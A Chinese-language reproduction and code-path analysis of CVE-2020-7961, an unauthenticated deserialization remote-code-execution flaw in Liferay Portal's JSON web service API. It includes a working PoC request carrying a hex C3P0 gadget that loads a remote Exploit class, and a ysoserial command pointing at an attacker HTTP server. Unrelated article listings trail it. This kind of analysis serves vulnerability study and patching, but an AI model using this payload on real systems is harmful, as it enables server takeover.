漏洞说明:

Liferay是一个开源的Portal(认证)产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户.

该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化,危害较高

影响范围:

Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X

环境搭建:

https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带tomcat的集成版,接下来就可以运行了,安装过程一路默认配置即可

漏洞复现:

poc:

POST /api/jsonws/invoke HTTP/1.1
Host: php.local:8080
Content-Length: 2335
Content-Type: application/x-www-form-urlencoded
Connection: close cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}

本地起http server 挂载Exploit.class字节码文件

ysoserial c3p0生成:

java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser

然后用以下脚本转为16进制:

import java.io.*;

public class poc {
public String encodeHex(InputStream fi) throws IOException {
int size;
String hexStr="";
while ((size=fi.read())!=-){
String byteChar = Integer.toHexString(size);
if(byteChar.length()<) {
byteChar = "" + byteChar;
}
hexStr = hexStr + byteChar;
}
return hexStr;
}
public static void main(String[] args) throws IOException {
FileInputStream fi = new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/test.ser"));
poc obj = new poc();
String pocStr = obj.encodeHex(fi);
System.out.println(pocStr);
}
}

或者用mashalsec直接生成16进制paylaod:

漏洞分析:

https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services 这里是关于liferay的一些说明文档,主要是可以如何通过http://localhost:8080/api/jsonws提供的一些api

可以直接通过api/jsonws 来查看调用结果或者通过其他形式来调用api,比如随便调用一个api,填上对应数据类型的字段,将通过/api/jsonws/invoke进行调用,可以看到此时参数全部都在post包的body中

那么实际上是api/jsonws/invoke这条路由来处理的请求,那么去web.xml下面看一下对应的serverlet,存在此条url匹配规则

找到该serverlet对应的类,可以看到此时位于

直接找到该类位置

windows下开启debug: start.bat中添加

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8788

开启debug,invoke的filter一路走向如上图所示,直到匹配到该serverlet的处理逻辑,调用其service方法来处理http请求

HttpServletRequest对象代表客户端的请求,当客户端通过HTTP协议访问服务器时,HTTP请求头中的所有信息都封装在这个对象中,通过这个对象提供的方法,可以获得客户端请求的所有信息。
   getRequestURL方法返回客户端发出请求时的完整URL。
  getRequestURI方法返回请求行中的资源名部分。
  getQueryString 方法返回请求行中的参数部分。
  getPathInfo方法返回请求URL中的额外路径信息。额外路径信息是请求URL中的位于Servlet的路径之后和查询参数之前的内容,它以“/”开头。
  getRemoteAddr方法返回发出请求的客户机的IP地址。
  getRemoteHost方法返回发出请求的客户机的完整主机名。
  getRemotePort方法返回客户机所使用的网络端口号。
  getLocalAddr方法返回WEB服务器的IP地址。
  getLocalName方法返回WEB服务器的主机名。

Web应用中servlet可以使用servlet上下文(context)得到:
1.在调用期间保存和检索属性的功能,并与其他servlet共享这些属性。
2.读取Web应用中文件内容和其他静态资源的功能。
3.互相发送请求的方式。
4.记录错误和信息化消息的功能。

一个servlet上下文是servlet引擎提供用来服务于Web应用的接口。Servlet上下文具有名字(它属于Web应用的名字)唯一映射到文件系统的一个目录。
一个servlet可以通过ServletConfig对象的getServletContext()方法得到servlet上下文的引用,如果servlet直接或间接调用子类GenericServlet,则可以使用getServletContext()方法。

上图主要是提取请求路径,判断是否来显示api列表(path为""或"/"),否则调用父类的service方法处理http请求

request.getContextPath()可返回站点的根路径,应该是得到项目的名字,如果项目为根目录,则得到一个"",即空的字条串。如果项目为abc, <%=request.getContextPath()% > 将得到abc

比如要是请求api/jsonws,则走到下面逻辑

接着在重定向方法中设置http请求的一些属性,对于该次请求的处理即结束

那么话说回去,正常poc到其父类的JSONserverlet的service方法中,调用jsonWebserviceaction对象的execute来处理http请求

接着判断servletContextName为空则返回false

接着到①处拿到authtype为空直接return

直接到getJSONWebServiceAction()方法中,拿到当前请求的路径为invoke,则返回一个invokeaction实例

实例化过程中将从http请求中拿到参数cmd的值

接着猜测应该是反射执行该cmd的值,cmd的值也是json形式,这里先调用portal的json parser器解析cmd的值反序列化后(非原生反序列化)返回一个object(hashmap,里面存着cmd所代表的键值对)

然后再将hashmap放到list中,这个应该是判断parser解析的结果来选择处理方式

接着就是循环遍历该list 取出其中的hashmap,并获取迭代器的方式遍历hashmap,取出保存在其中的键值对,也就是cmd对应的键和值,调用parsestatement处理主要就是解析出要反射调用的api

接着到executeStatement中来进行实际的api调用,到目前为止api都是以uri的方式存在,只是一个虚拟路径,那么在java中肯定有相应的处理类,所以肯定要找到它,getJSONWebServiceAction就完成了这个功能,并且也完成了提取http body中的参数作为api 反射调用的参数,先直接看看该方法调用返回后的JsonWebserviceAction

从jsonwebServiceAction的值可以看到又用到了代理的知识,这种设计模式真的是在java web网络通信应用中挺常用,从actionmethod中就能看到实际上api调用的是proxy代理类的addcolumn方法,那么proxy代理的接口是expandoColumn接口,可以在注解里面看到其实现类是ExpandoColumnImpl,并且可以看到实际处理该api调用的类为ExpandoColumnServiceImpl,总之getJSONwebServiceaction完成了api调用的初始化准备工作,还是有跟一下的必要

到getJSONWebServiceAction中看看,其中有个jsonWebServiceActionParameters.collectAll又传入了httpserverletrequest,猜测其要处理http请求的内容,跟进

进一步获取服务上下文,通过_getInstance来实际处理http 请求中的参数了,要获取http请求的相关内容,肯定要用到相关的接口

所以回到catalina.connector的request类中,将拿到http请求的一切内容(提供的获取http请求的接口必须走到这个类)

最后拿到的含有请求参数的ParameterMap如下图所示,所有的参数值都是以=分割,包括我们的序列化数据的其键值对,接着遍历该map,再将其中的值取出来存到hashmap中保存到attributes成员变量里

然后再赋给服务上下文作为其内部成员变量来使用,真的是挺曲折的==

加工完service context 获取http参数后,再将之前获得的相关参数值赋给下图的jsonWebService相关变量,之后返回一个actionImple的实例,并且这些参数传入,后面猜应该要根据这些值来反射调用方法了

如下图所示到_invokeActionMethod方法中执行

因为之前的解析也已经知道实际上poc里面调用的addcolumn api是对应的下图的actionclass的addcolumn 重载其一方法,支持转入4个参数,包括一个object,作为defaultdata参数名传入,漏洞点就在此

那么接着就要获取action class的参数,为了后面进行反射执行,这里调用_prepareParameters方法

由下图就能看到,此时拿到的参数名,参数类型以及参数值,参数类型就是Object,参数类型的值即为C3P0的绝对路径

若参数类型值不为空,则通过类加载机制将其加载到jvm中(利用本地gadget),这里用loadclass来加载该类说明目标对象被装载后不进行链接,这就意味这不会去执行该类静态块中间的内容

接着因为default的参数值不为void,所以调用this._convertValueToParameterValue对参数值进行处理,接着猜测应该是判断这里传入的参数的具体类型

如下图所示也正是如此,判断传入的参数类型,匹配了几种情况后若不满足则将参数值置null

然后调用convertType方法来将此时的value和参数类型进行转换后赋值给parameterValue,然而预置的转换规则并不匹配poc中的c3p0类

接着继续往下走,判断当前的default的值是否以{开头,满足则调用looseDeserialize来处理,这里也是反序列化的关键点(json数据反序列化)

由于portal用的是jodd的json解析,因此此时使用其jsonParser对参数值进行扫描

对于传入的payload json数据,jodd将使用injectValueIntoObject将参数的值还原到参数对象中

就像fastjson反射调用set赋值类似,jodd也通过json中的属性来生成setter方法,然后反射调用参数对象所代表类的对应setter方法来赋值

接着就到了set方法中,此时将根据解析规则,解析赋给userOveridesAsString的值

存储的16进制payload将被还原为序列化的字节码文件存储在字节数组中

那么我们知道字节数组肯定不能直接反序列化,所以要如下图转为ObjectInputStream

反序列化gadget

接下来就到了反序列化时刻了,与之前分析的C3P0反序列化相同

整个处理流程总结:

1.根据uri的/api/jsonws/invoke获取cmd参数的值,根据其值确定要调用的api函数,然后通过动态代理确定要用哪个类来处理具体的api调用逻辑

2.确定完处理类后,要传给其参数值,因此到catalina.connector中取http body中的值,赋给服务上下文作为其内部成员变量做准备

3.接着为反射调用api对应成员方法准备入口参数(已经存到context中了),因为poc中利用的api是支持传入object的(漏洞存在的原因,划重点),所以肯定要涉及到根据提供的类的来装载(loadclass完成),以及反序列化还原object,在判断传入的object的参数值满足json数据前缀后则调用jodd库来对json数据进行处理,尝试恢复对象,jodd解析规则根据属性确定setter方法,并确定要还原的值(序列化payload),到此进入c3p0的处理逻辑

4.c3p0的利用,该类的setuserOverridesAsString方法可以将16进制编码的序列化数据进行反序列化,序列化数据即为本地的lib下的gadget

从api匹配到获取http body中的值进行反序列化,从应用程序上来讲问题就是某些api的入口参数为object,然而序列化的数据传输后还原必然要经过反序列化,应用提供了太过于宽泛的反序列化操作,defaultdata后面的类名可控(以分号分割)

感觉也不是jodd库的锅,应用里面也匹配反序列化的类,但是对不在匹配规则中的类并未做黑白名单限制,所以说本地只要有能够利用的gadget,就能够利用

官方的修复方法是:

Disable JSONWS by setting the portal.property jsonws.servlet.hosts.allowed=Not/Available

也就是禁用jsonws的调用,在portalimpl.jar下面有这个protal.property配置文件,启动默认加载的,全局生效

另外这个web代码量太大了,看的人都晕了,有说的不对的还请指出,本来想找找有没有xxe,结果:)...

参考:

https://xz.aliyun.com/t/7485

https://xz.aliyun.com/t/7499

CVE-2020-7961 Liferay Portal 复现分析的更多相关文章

  1. Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961)

    影响范围 Liferay Portal 6.1.X Liferay Portal 6.2.X Liferay Portal 7.0.X Liferay Portal 7.1.X Liferay Por ...

  2. 新书:《Liferay Portal 6.1最佳实践门户网站建设》

    新书:<Liferay Portal 6.1最佳实践门户网站建设>   <Liferay Portal 6.1门户站点建设最佳实践>是国内第一本全面介绍Liferay Port ...

  3. 路由器漏洞复现分析第三弹:DVRF INTRO题目分析

    这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...

  4. CVE-2021-3129:Laravel远程代码漏洞复现分析

    摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...

  5. CVE 2021-44228 Log4j-2命令执行复现及分析

    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...

  6. ref:spring-data-XMLBean XXE复现分析

    ref:https://blog.spoock.com/2018/05/16/cve-2018-1259/ 漏洞信息 看pivotal发布的漏洞信息如下 通过发布的漏洞信息可以知道,漏洞组件是在XML ...

  7. 路由器漏洞复现分析第二弹:CNVD-2018-01084

    1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084),freebuf上有前辈写了一篇漏洞复现和poc的文章(h ...

  8. Wordpress4.9.6 任意文件删除漏洞复现分析

    第一章 漏洞简介及危害分析 1.1漏洞介绍 WordPress可以说是当今最受欢迎的(我想说没有之一)基于PHP的开源CMS,其目前的全球用户高达数百万,并拥有超过4600万次的超高下载量.它是一个开 ...

  9. java反序列化——apache-shiro复现分析

    本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...

随机推荐

  1. 前端面试题-HTML语义化标签

    一.HTML5语义化标签 标签 描述 <article> 页面独立的内容区域. <aside> 页面的侧边栏内容. <bdi> 允许您设置一段文本,使其脱离其父元素 ...

  2. JDK8内存模型—消失的PermGen

    一.JVM 内存模型 根据 JVM 规范,JVM 内存共分为虚拟机栈.堆.方法区.程序计数器.本地方法栈五个部分. 1.虚拟机栈:每个线程有一个私有的栈,随着线程的创建而创建.栈里面存着的是一种叫“栈 ...

  3. 16 搭建Spring Data JPA的开发环境

    使用Spring Data JPA,需要整合Spring与Spring Data JPA,并且需要提供JPA的服务提供者hibernate,所以需要导入spring相关坐标,hibernate坐标,数 ...

  4. py2.7 批量转换文件为 utf8 编码

    source insight 不支持 utf8 ,但是在 linux 上查看的时候是 utf8 编码,就会显示不正常,所以写了个 python 小脚本,可以批量转换 py2.7 #coding:utf ...

  5. Docker深入浅出系列 | Swarm多节点实战

    目录 前期准备 Swarm基本概念 什么是Docker Swarm 为什么要用Swarm Swarm的网络模型 Swarm的核心实现机制 服务发现机制 负载均衡机制Routing Mesh Docke ...

  6. 五分钟学Java:如何学习Java面试必考的JVM虚拟机

    原创声明 本文首发于微信公众号[程序员黄小斜] 本文作者:黄小斜 转载请务必在文章开头注明出处和作者. 本文思维导图 为什么要学习JVM虚拟机 最近的你有没有参加Java面试呢?你有没有发现,Java ...

  7. ASP.NET MVC5实现芒果分销后台管理系统(一):系统结构设计,集成AutoMapper,Log4net

    在构思完系统思维脑图后,小墨回到家中,便摩拳擦掌开始了开发工作.要想迅速完成系统开发,前期系统设计和准备尤其重要,因为小墨做过太多大大小小的业务系统,准备工作也是十分顺利. 系统结构 整个系统工程结构 ...

  8. Java并发编程之验证volatile不能保证原子性

    Java并发编程之验证volatile不能保证原子性 通过系列文章的学习,凯哥已经介绍了volatile的三大特性.1:保证可见性 2:不保证原子性 3:保证顺序.那么怎么来验证可见性呢?本文凯哥(凯 ...

  9. Python 之 copy() 与 deepcopy() 之间的区别

    在 Python 之中,如果想要复制一个对象就免不了要理解浅复制与深复制.这也是 Python 与其他语言的区别之一. Python 的数据存储方式与其他语言不同.当你定义了一个变量: a = [, ...

  10. Socket编程简介

    目录 背景 基础 流程 参考 本文系读书笔记,非深入研究,也无代码,如非所需,请见谅. 哦,这里有份不错的:Linux的SOCKET编程详解 背景 花了好久的时间(大约一周,我太垃圾)看完了一篇英文文 ...